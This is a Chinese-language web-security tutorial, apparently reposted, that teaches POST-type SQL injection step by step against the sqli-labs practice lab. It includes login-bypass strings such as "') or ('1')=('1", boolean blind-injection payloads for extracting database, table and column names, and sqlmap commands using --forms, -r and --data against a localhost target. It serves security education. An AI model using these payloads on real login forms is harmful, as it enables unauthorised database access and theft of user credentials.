Java教程

4. web安全之sql注入(4)

本文主要是介绍4. web安全之sql注入(4),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

              sql注入之POST型注入

  • 目录

  • POST型注入原理

  • POST型注入实操

  • sqlmap注入


 

一. POST型注入原理


1. 源码分析

sqli-labs-master 第10关

 

 

 过程分析:post传入2个参数uname,paword,然后将2个参数带入sql语句进行查询。语句:

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

查询到的结果进行if条件语句匹配;匹配到的就回显:you Login name:Dump等等;匹配不到就无回显。

2. POST型注入原理

sql语句:

 

SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1

 

正常登录:

 

 

 注入登录(万能密码):

 

select username,password from users where username='admin' and password='password' or '1'='1' limit 0,1;

 

 

 

 

 

 注入查询(布尔盲注):(需要揣测用户名)

select username,password from users where username='dumb' and length(database())=8;-- -' and password='' limit 0,1

 

 

注入查询(布尔盲注):(不需要揣测用户名)

 select username,password from users where username='1234' and password='1234' or length(database())=8 limit 0,1;

sqlmap使用的是布尔盲注

 

 

 

二. POST型注入实操

靶机:sqli-labs-master 第十三关

POST型注入就是盲注;得先了解盲注才能手工注入

 

1. 关于POST型手工注入我更喜欢使用burp进行注入

抓取数据包;发送到Repeater

 

 

 

2. 查询注入点

利用万能密码查询注入点和闭合方式;闭合方式为 ('  ')

uname=admin&passwd=password') or ('1')=('1&submit=Submit

 

 

 

 3. 查询数据库字符数

uname=admin&passwd=password') or length(database())=('8&submit=Submit

得到数据库字符数为:8

 

 

 

4. 查询数据库第一个字符

 

 

 依次类推,得到数据库名为security

5. 查询数据库下表个数

 

 

 

6. 查询第一个表字符数

 

 

 

7. 查询第一个表第一个字符

 

 

 

根据ascii码得到第一个字符为e;后门依此列得所有表名;其中一个表名users

8. 查询表名users的字段数

同上

9. 查询表名users第一个字段的字符数

同上

10. 查询表名users第一个字段的第一个字符

同上;查询到所有字符后,有2个字符,分别是username,password

11. 查询数据

(1)查询数据的字符数

得到第一列(username~password)组合字符长度为9

 

 

 

(2)查询数据的第一个字符

 数据的第一个字符为D,后面同此可以得到所有数据

 

 

 

三. POST型注入sqlmap

靶机:sqli-labs-master 第13关

 

1. forms指定识别表格注入(登录验证需指定cookie)

主要参数--forms

sqlmap -u "http://127.0.0.1/sqli-labs-master/Less-11/" --forms --dbs --batch

 

 

 

2. burp抓包保存txt文件注入(免登录验证)

主要参数 -r

(1)burp抓取数据包

 

 

 (2)复制到指定路径txt文件

我复制的是:D:\sqlmap\3.txt

 

 

 (3)sqlmap执行注入

 

 

 

3. 指定POST型参数注入

 主要参数:data=""

 

 

这篇关于4. web安全之sql注入(4)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!